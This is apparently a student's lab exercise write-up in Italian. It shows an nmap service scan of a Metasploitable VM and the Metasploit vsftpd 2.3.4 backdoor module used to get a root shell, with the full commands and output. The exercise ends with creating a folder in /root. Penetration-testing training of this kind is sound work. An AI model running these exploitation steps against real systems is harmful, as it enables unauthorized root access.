

ESERCIZIO 1 SETTIMANA 7

Controllo i servizi aperti tramite il comando nmap -sV

In questo modo, oltre a vedere i servizi attivi vedrò anche la loro versione, importante da sapere per scegliere l'exploit adeguato.

In questo caso scelgo il servizio ftp e grazie a nmap noto che è alla versione 2.3.4.

```
(kali@kali)-[~/Desktop]
└─$ nmap -sV 192.168.178.125
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-22 09:51 EST
Nmap scan report for 192.168.178.125
Host is up (0.0044s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.89 seconds
```

Una volta connesso a msfconsole, tramite il comando search, seguito dal servizio che mi interessa, cerco se ci sono exploit disponibili. Dal momento che il servizio attivo è alla versione 2.3.4 sceglierò quello corrispondente dato che gli exploit funzionano solo con la versione che supportano.

```
msf6 > search vsftpd

Matching Modules
=====
#  Name                                                                 Disclosure Date  Rank   Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232                                         2011-02-03     normal Yes     VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor                               2011-07-03     excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Con il comando `use`, seguito dal numero dell'exploit corrispondente. Successivamente utilizzo il comando `show options` per vedere l'RHOST della vittima e poi `set rhosts` seguito dall'IP della vittima.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.178.125
rhosts => 192.168.178.125
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):



| Name    | Current Setting | Required | Description                                                                                            |
|---------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                               |
| CPORT   |                 | no       | The local client port                                                                                  |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]                                         |
| RHOSTS  | 192.168.178.125 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                  |



Payload options (cmd/unix/interact):



| Name | Current Setting | Required | Description |
|------|-----------------|----------|-------------|
| Id   | Name            |          |             |
| 0    | Automatic       |          |             |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.
```

Con il comando `exploit` infine eseguo l'exploit.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.178.125:21 - The port used by the backdoor bind listener is already open
[+] 192.168.178.125:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.178.124:36525 → 192.168.178.125:6200) at 2024-01-22 10:09:47 -0500
```

Per verificare la riuscita, con il comando `ifconfig` vedrò l'indirizzo IP della vittima. Ciò vuol dire che sono dentro alla macchina vittima.

```
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:f2:31:c7
          inet addr:192.168.178.125  Bcast:192.168.178.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe2:31c7/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
```

Infine, creo la cartella `test_metasploit` nella `directory root`.

```
dir
bin      dev      initrd      lost+found  nohup.out  root      sys      var
boot     etc      initrd.img  media       opt        sbin      tmp      vmlinuz
cdrom    home     lib         mnt         proc       srv       usr

cd root
pwd
/root
mkdir test_metasploit
pwd
/root
dir
Desktop  reset_logs.sh  test_metasploit  vnc.log
```